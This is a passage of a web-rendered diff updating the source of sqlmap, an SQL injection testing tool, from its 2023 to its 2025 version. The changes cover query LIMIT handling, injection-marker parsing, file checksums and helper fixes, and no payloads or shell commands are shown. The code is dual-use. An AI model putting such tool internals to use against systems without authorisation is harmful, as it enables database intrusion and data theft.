if conf.uValues:
unionQuery = unionQuery.replace(CUSTOM_INJECTION_MARK_CHAR, query)
if fromTable and not unionQuery.endswith(fromTable): if fromTable and not unionQuery.endswith(fromTable):
unionQuery += fromTable unionQuery += fromTable
@@ -1019,18 +1031,18 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:] fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.RAIMA): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.DERBY):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB, DBMS.CLICKHOUSE):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO): elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
if query.startswith("SELECT "): if query.startswith("SELECT "):

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -65,6 +65,8 @@ class BigArray(list):
>>> _ = _ + [1] >>> _ = _ + [1]
>>> _[-1] >>> _[-1]
1 1
>>> len([_ for _ in BigArray(xrange(100000))])
100000
""" """
def __init__(self, items=None): def __init__(self, items=None):
@@ -198,7 +200,10 @@ class BigArray(list):
def __iter__(self): def __iter__(self):
for i in xrange(len(self)): for i in xrange(len(self)):
yield self[i] try:
yield self[i]
except IndexError:
break
def __len__(self): def __len__(self):
return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1]) return len(self.chunks[-1]) if len(self.chunks) == 1 else (len(self.chunks) - 1) * self.chunk_length + len(self.chunks[-1])

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -129,13 +129,14 @@ from lib.core.settings import FORM_SEARCH_REGEX
from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
from lib.core.settings import GIT_PAGE from lib.core.settings import GIT_PAGE
from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HASHDB_MILESTONE_VALUE
from lib.core.settings import HOST_ALIASES from lib.core.settings import HOST_ALIASES
from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import IGNORE_SAVE_OPTIONS
from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import IP_ADDRESS_REGEX from lib.core.settings import IP_ADDRESS_REGEX
from lib.core.settings import ISSUES_PAGE from lib.core.settings import ISSUES_PAGE
from lib.core.settings import IS_TTY from lib.core.settings import IS_TTY
@@ -252,6 +253,10 @@ class Format(object):
if versions is None and Backend.getVersionList(): if versions is None and Backend.getVersionList():
versions = Backend.getVersionList() versions = Backend.getVersionList()
# NOTE: preventing ugly (e.g.) "back-end DBMS: MySQL Unknown"
if isListLike(versions) and UNKNOWN_DBMS_VERSION in versions:
versions = None
return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filterNone(versions))) return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filterNone(versions)))
@staticmethod @staticmethod
@@ -657,7 +662,7 @@ def paramToDict(place, parameters=None):
if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)): if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)):
_ = urldecode(testableParameters[parameter], convall=True) _ = urldecode(testableParameters[parameter], convall=True)
if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter):
warnMsg = "it appears that you have provided tainted parameter values " warnMsg = "it appears that you have provided tainted parameter values "
warnMsg += "('%s') with most likely leftover " % element warnMsg += "('%s') with most likely leftover " % element
warnMsg += "chars/statements from manual SQL injection test(s). " warnMsg += "chars/statements from manual SQL injection test(s). "
@@ -707,8 +712,16 @@ def paramToDict(place, parameters=None):
if value: if value:
walk(head, value) walk(head, value)
deserialized = json.loads(testableParameters[parameter]) # NOTE: for cases with custom injection marker(s) inside (e.g. https://github.com/sqlmapproject/sqlmap/issues/4137#issuecomment-2013783111) - p.s. doesn't care too much about the structure (e.g. injection into the flat array values)
walk(deserialized) if CUSTOM_INJECTION_MARK_CHAR in testableParameters[parameter]:
for match in re.finditer(r'(\w+)[^\w]*"\s*:[^\w]*\w*%s' % re.escape(CUSTOM_INJECTION_MARK_CHAR), testableParameters[parameter]):
key = match.group(1)
value = testableParameters[parameter].replace(match.group(0), match.group(0).replace(CUSTOM_INJECTION_MARK_CHAR, BOUNDED_INJECTION_MARKER))
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % value, parameters)
if not candidates:
deserialized = json.loads(testableParameters[parameter])
walk(deserialized)
if candidates: if candidates:
message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter)
@@ -880,7 +893,7 @@ def getManualDirectories():
def getAutoDirectories(): def getAutoDirectories():
""" """
>>> pushValue(kb.absFilePaths) >>> pushValue(kb.absFilePaths)
>>> kb.absFilePaths = ["C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"] >>> kb.absFilePaths = [r"C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"]
>>> getAutoDirectories() >>> getAutoDirectories()
['C:/inetpub/wwwroot', '/var/www/html'] ['C:/inetpub/wwwroot', '/var/www/html']
>>> kb.absFilePaths = popValue() >>> kb.absFilePaths = popValue()
@@ -1321,7 +1334,10 @@ def isZipFile(filename):
checkFile(filename) checkFile(filename)
return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER with openFile(filename, "rb", encoding=None) as f:
header = f.read(len(ZIP_HEADER))
return header == ZIP_HEADER
def isDigit(value): def isDigit(value):
""" """
@@ -1508,6 +1524,7 @@ def setPaths(rootPath):
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt")
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
@@ -1769,7 +1786,7 @@ def parseTargetUrl():
errMsg = "invalid target URL port (%d)" % conf.port errMsg = "invalid target URL port (%d)" % conf.port
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not (conf.port == 80 and conf.scheme == "http" or conf.port == 443 and conf.scheme == "https") else "", conf.path))
conf.url = conf.url.replace(URI_QUESTION_MARKER, '?') conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
if urlSplit.query: if urlSplit.query:
@@ -2308,7 +2325,7 @@ def ntToPosixSlashes(filepath):
Replaces all occurrences of NT backslashes in provided Replaces all occurrences of NT backslashes in provided
filepath with Posix slashes filepath with Posix slashes
>>> ntToPosixSlashes('C:\\Windows') >>> ntToPosixSlashes(r'C:\\Windows')
'C:/Windows' 'C:/Windows'
""" """
@@ -2520,21 +2537,22 @@ def initCommonOutputs():
kb.commonOutputs = {} kb.commonOutputs = {}
key = None key = None
for line in openFile(paths.COMMON_OUTPUTS, 'r'): with openFile(paths.COMMON_OUTPUTS, 'r') as f:
if line.find('#') != -1: for line in f:
line = line[:line.find('#')] if line.find('#') != -1:
line = line[:line.find('#')]
line = line.strip() line = line.strip()
if len(line) > 1: if len(line) > 1:
if line.startswith('[') and line.endswith(']'): if line.startswith('[') and line.endswith(']'):
key = line[1:-1] key = line[1:-1]
elif key: elif key:
if key not in kb.commonOutputs: if key not in kb.commonOutputs:
kb.commonOutputs[key] = set() kb.commonOutputs[key] = set()
if line not in kb.commonOutputs[key]: if line not in kb.commonOutputs[key]:
kb.commonOutputs[key].add(line) kb.commonOutputs[key].add(line)
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
""" """
@@ -3182,7 +3200,14 @@ def isNumPosStrValue(value):
False False
""" """
return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT retVal = False
try:
retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
except ValueError:
pass
return retVal
@cachedmethod @cachedmethod
def aliasToDbmsEnum(dbms): def aliasToDbmsEnum(dbms):
@@ -3691,10 +3716,12 @@ def joinValue(value, delimiter=','):
'1,2' '1,2'
>>> joinValue('1') >>> joinValue('1')
'1' '1'
>>> joinValue(['1', None])
'1,None'
""" """
if isListLike(value): if isListLike(value):
retVal = delimiter.join(value) retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value)
else: else:
retVal = value retVal = value
@@ -3840,29 +3867,6 @@ def decodeIntToUnicode(value):
return retVal return retVal
def checkIntegrity():
"""
Checks integrity of code files during the unhandled exceptions
"""
if not paths:
return
logger.debug("running code integrity check")
retVal = True
baseTime = os.path.getmtime(paths.SQLMAP_SETTINGS_PATH) + 3600 # First hour free parking :)
for root, _, filenames in os.walk(paths.SQLMAP_ROOT_PATH):
for filename in filenames:
if re.search(r"(\.py|\.xml|_)\Z", filename):
filepath = os.path.join(root, filename)
if os.path.getmtime(filepath) > baseTime:
logger.error("wrong modification time of '%s'" % filepath)
retVal = False
return retVal
def getDaysFromLastUpdate(): def getDaysFromLastUpdate():
""" """
Get total number of days from last update Get total number of days from last update
@@ -4262,6 +4266,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
retVal = name retVal = name
if conf.unsafeNaming:
return retVal
if isinstance(name, six.string_types): if isinstance(name, six.string_types):
retVal = getUnicode(name) retVal = getUnicode(name)
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
@@ -4643,7 +4650,7 @@ def isAdminFromPrivileges(privileges):
return retVal return retVal
def findPageForms(content, url, raise_=False, addToTargets=False): def findPageForms(content, url, raiseException=False, addToTargets=False):
""" """
Parses given page content for possible forms (Note: still not implemented for Python3) Parses given page content for possible forms (Note: still not implemented for Python3)
@@ -4661,7 +4668,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
if not content: if not content:
errMsg = "can't parse forms as the page content appears to be blank" errMsg = "can't parse forms as the page content appears to be blank"
if raise_: if raiseException:
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
logger.debug(errMsg) logger.debug(errMsg)
@@ -4683,7 +4690,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
forms = ParseResponse(filtered, backwards_compat=False) forms = ParseResponse(filtered, backwards_compat=False)
except: except:
errMsg = "no success" errMsg = "no success"
if raise_: if raiseException:
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
logger.debug(errMsg) logger.debug(errMsg)
@@ -4710,7 +4717,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
except (ValueError, TypeError) as ex: except (ValueError, TypeError) as ex:
errMsg = "there has been a problem while " errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex) errMsg += "processing page forms ('%s')" % getSafeExString(ex)
if raise_: if raiseException:
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
logger.debug(errMsg) logger.debug(errMsg)
@@ -4762,7 +4769,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
if not retVal and not conf.crawlDepth: if not retVal and not conf.crawlDepth:
errMsg = "there were no forms found at the given target URL" errMsg = "there were no forms found at the given target URL"
if raise_: if raiseException:
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
logger.debug(errMsg) logger.debug(errMsg)
@@ -4940,6 +4947,12 @@ def decodeDbmsHexValue(value, raw=False):
>>> decodeDbmsHexValue('3132332031') == u'123 1' >>> decodeDbmsHexValue('3132332031') == u'123 1'
True True
>>> decodeDbmsHexValue('31003200330020003100') == u'123 1'
True
>>> decodeDbmsHexValue('00310032003300200031') == u'123 1'
True
>>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1'
True
>>> decodeDbmsHexValue('313233203') == u'123 ?' >>> decodeDbmsHexValue('313233203') == u'123 ?'
True True
>>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2'] >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2']
@@ -4978,6 +4991,9 @@ def decodeDbmsHexValue(value, raw=False):
if not isinstance(retVal, six.text_type): if not isinstance(retVal, six.text_type):
retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
if u"\x00" in retVal:
retVal = retVal.replace(u"\x00", u"")
return retVal return retVal
try: try:
@@ -5066,6 +5082,7 @@ def resetCookieJar(cookieJar):
logger.info(infoMsg) logger.info(infoMsg)
content = readCachedFileContent(conf.loadCookies) content = readCachedFileContent(conf.loadCookies)
content = re.sub("(?im)^#httpOnly_", "", content)
lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#')) lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#'))
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR)
os.close(handle) os.close(handle)
@@ -5261,6 +5278,9 @@ def parseRequestFile(reqFile, checkParams=True):
Parses WebScarab logs (POST method not supported) Parses WebScarab logs (POST method not supported)
""" """
if WEBSCARAB_SPLITTER not in content:
return
reqResList = content.split(WEBSCARAB_SPLITTER) reqResList = content.split(WEBSCARAB_SPLITTER)
for request in reqResList: for request in reqResList:
@@ -5344,6 +5364,8 @@ def parseRequestFile(reqFile, checkParams=True):
if not line.strip() and index == len(lines) - 1: if not line.strip() and index == len(lines) - 1:
break break
line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line)
newline = "\r\n" if line.endswith('\r') else '\n' newline = "\r\n" if line.endswith('\r') else '\n'
line = line.strip('\r') line = line.strip('\r')
match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None
@@ -5385,11 +5407,12 @@ def parseRequestFile(reqFile, checkParams=True):
elif key.upper() == HTTP_HEADER.HOST.upper(): elif key.upper() == HTTP_HEADER.HOST.upper():
if '://' in value: if '://' in value:
scheme, value = value.split('://')[:2] scheme, value = value.split('://')[:2]
splitValue = value.split(":")
host = splitValue[0]
if len(splitValue) > 1: port = extractRegexResult(r":(?P<result>\d+)\Z", value)
port = filterStringValue(splitValue[1], "[0-9]") if port:
host = value[:-(1 + len(port))]
else:
host = value
# Avoid to add a static content length header to # Avoid to add a static content length header to
# headers and consider the following lines as # headers and consider the following lines as
@@ -5566,3 +5589,27 @@ def chunkSplitPostData(data):
retVal += "0\r\n\r\n" retVal += "0\r\n\r\n"
return retVal return retVal
def checkSums():
"""
Validate the content of the digest file (i.e. sha256sums.txt)
>>> checkSums()
True
"""
retVal = True
if paths.get("DIGEST_FILE"):
for entry in getFileItems(paths.DIGEST_FILE):
match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry)
if match:
expected, filename = match.groups()
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep)
checkFile(filepath)
with open(filepath, "rb") as f:
content = f.read()
if not hashlib.sha256(content).hexdigest() == expected:
retVal &= False
break
return retVal

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -9,7 +9,6 @@ from __future__ import division
import binascii import binascii
import functools import functools
import inspect
import math import math
import os import os
import random import random
@@ -313,22 +312,3 @@ def LooseVersion(version):
result = float("NaN") result = float("NaN")
return result return result
# Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py
if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"):
from inspect import getfullargspec
def makelist(data):
if isinstance(data, (tuple, list, set, dict)):
return list(data)
elif data:
return [data]
else:
return []
def getargspec(func):
spec = getfullargspec(func)
kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs)
return kwargs, spec[1], spec[2], spec[3]
inspect.getargspec = getargspec

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -16,6 +16,7 @@ import codecs
import json import json
import re import re
import sys import sys
import time
from lib.core.bigarray import BigArray from lib.core.bigarray import BigArray
from lib.core.compat import xrange from lib.core.compat import xrange
@@ -134,6 +135,23 @@ def dejsonize(data):
return json.loads(data) return json.loads(data)
def rot13(data):
"""
Returns ROT13 encoded/decoded text
>>> rot13('foobar was here!!')
'sbbone jnf urer!!'
>>> rot13('sbbone jnf urer!!')
'foobar was here!!'
"""
# Reference: https://stackoverflow.com/a/62662878
retVal = ""
alphabit = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ"
for char in data:
retVal += alphabit[alphabit.index(char) + 13] if char in alphabit else char
return retVal
def decodeHex(value, binary=True): def decodeHex(value, binary=True):
""" """
Returns a decoded representation of provided hexadecimal value Returns a decoded representation of provided hexadecimal value
@@ -334,6 +352,10 @@ def getUnicode(value, encoding=None, noneToNull=False):
True True
""" """
# Best position for --time-limit mechanism
if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit):
raise SystemExit
if noneToNull and value is None: if noneToNull and value is None:
return NULL return NULL

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,11 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import copy import copy
import threading
import types import types
from thirdparty.odict import OrderedDict from thirdparty.odict import OrderedDict
@@ -49,6 +50,19 @@ class AttribDict(dict):
else: else:
return None return None
def __delattr__(self, item):
"""
Deletes attributes
"""
try:
return self.pop(item)
except KeyError:
if self.keycheck:
raise AttributeError("unable to access item '%s'" % item)
else:
return None
def __setattr__(self, item, value): def __setattr__(self, item, value):
""" """
Maps attributes to values Maps attributes to values
@@ -129,6 +143,7 @@ class LRUDict(object):
def __init__(self, capacity): def __init__(self, capacity):
self.capacity = capacity self.capacity = capacity
self.cache = OrderedDict() self.cache = OrderedDict()
self.__lock = threading.Lock()
def __len__(self): def __len__(self):
return len(self.cache) return len(self.cache)
@@ -145,11 +160,12 @@ class LRUDict(object):
return self.__getitem__(key) return self.__getitem__(key)
def __setitem__(self, key, value): def __setitem__(self, key, value):
try: with self.__lock:
self.cache.pop(key) try:
except KeyError: self.cache.pop(key)
if len(self.cache) >= self.capacity: except KeyError:
self.cache.popitem(last=False) if len(self.cache) >= self.capacity:
self.cache.popitem(last=False)
self.cache[key] = value self.cache[key] = value
def set(self, key, value): def set(self, key, value):

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -106,6 +106,7 @@ class FORK(object):
YELLOWBRICK = "Yellowbrick" YELLOWBRICK = "Yellowbrick"
IRIS = "Iris" IRIS = "Iris"
YUGABYTEDB = "YugabyteDB" YUGABYTEDB = "YugabyteDB"
OPENGAUSS = "OpenGauss"
class CUSTOM_LOGGING(object): class CUSTOM_LOGGING(object):
PAYLOAD = 9 PAYLOAD = 9

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -223,7 +223,7 @@ def runGui(parser):
helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
helpmenu.add_separator() helpmenu.add_separator()
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2023\n\n (%s)" % DEV_EMAIL_ADDRESS)) helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2025\n\n (%s)" % DEV_EMAIL_ADDRESS))
menubar.add_cascade(label="Help", menu=helpmenu) menubar.add_cascade(label="Help", menu=helpmenu)
window.config(menu=menubar) window.config(menu=menubar)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -128,7 +128,6 @@ from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import SUPPORTED_OS from lib.core.settings import SUPPORTED_OS
from lib.core.settings import TIME_DELAY_CANDIDATES from lib.core.settings import TIME_DELAY_CANDIDATES
from lib.core.settings import UNION_CHAR_REGEX
from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import URI_INJECTABLE_REGEX
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
@@ -436,7 +435,7 @@ def _setStdinPipeTargets():
def next(self): def next(self):
try: try:
line = next(conf.stdinPipe) line = next(conf.stdinPipe)
except (IOError, OSError, TypeError): except (IOError, OSError, TypeError, UnicodeDecodeError):
line = None line = None
if line: if line:
@@ -813,6 +812,7 @@ def _setTamperingFunctions():
raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
priority = priority if priority is not None else PRIORITY.LOWEST
for name, function in inspect.getmembers(module, inspect.isfunction): for name, function in inspect.getmembers(module, inspect.isfunction):
